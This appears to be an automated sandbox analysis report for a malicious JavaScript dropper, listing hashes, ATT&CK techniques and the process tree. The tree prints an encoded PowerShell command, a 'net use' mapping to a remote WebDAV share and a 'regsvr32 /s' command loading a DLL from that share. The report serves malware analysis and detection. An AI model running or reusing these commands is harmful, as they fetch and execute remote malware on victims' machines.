0379ab818c0b0e23ded4a9a4e86c907dd6183170f74dca3472940bd24a1c50c7

Analysis

max time kernel
137s
max time network
122s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
25/07/2024, 18:03

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General

Target

16842161281292419106.js
Size

16KB
MD5

234d9d75932f4a32b2d6f04876512b8e
SHA1

4c134b0859da6821089d97037341a0155ded28ec
SHA256

0379ab818c0b0e23ded4a9a4e86c907dd6183170f74dca3472940bd24a1c50c7
SHA512

1f6795b023b1fe76a9ba1535f7136df451ad0384bbd9739172d584bb6aa1227cd0d09f205f065eb804c784aca4e396b4896791e09fb2e0595cb771ff7405bb4d
SSDEEP

96:M3mqk8bv83oPNknMjN2jwztbqcekznEgXK3Dudj5vShZ3wJp6vDEalOPl2puVoML:MjH4PHp3NAJdAY4yOwLzq5JEJ

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4956	powershell.exe
4956	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4956	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4008 wrote to memory of 4956	4008	wscript.exe	86
PID 4008 wrote to memory of 4956	4008	wscript.exe	86
PID 4956 wrote to memory of 3628	4956	powershell.exe	88
PID 4956 wrote to memory of 3628	4956	powershell.exe	88
PID 4956 wrote to memory of 2388	4956	powershell.exe	89
PID 4956 wrote to memory of 2388	4956	powershell.exe	89

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\16842161281292419106.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADMANQAwADUAMgA3ADkAOAA0ADgAMwA1ADEALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:3628
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\13505279848351.dll
    3⤵
    PID:2388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_334hpuso.udz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4956-0-0x00007FFACF183000-0x00007FFACF185000-memory.dmp

Filesize
8KB

Download
memory/4956-1-0x000002019C510000-0x000002019C532000-memory.dmp

Filesize
136KB

Download
memory/4956-11-0x00007FFACF180000-0x00007FFACFC41000-memory.dmp

Filesize
10.8MB

Download
memory/4956-12-0x00007FFACF180000-0x00007FFACFC41000-memory.dmp

Filesize
10.8MB

Download
memory/4956-15-0x00007FFACF180000-0x00007FFACFC41000-memory.dmp

Filesize
10.8MB

Download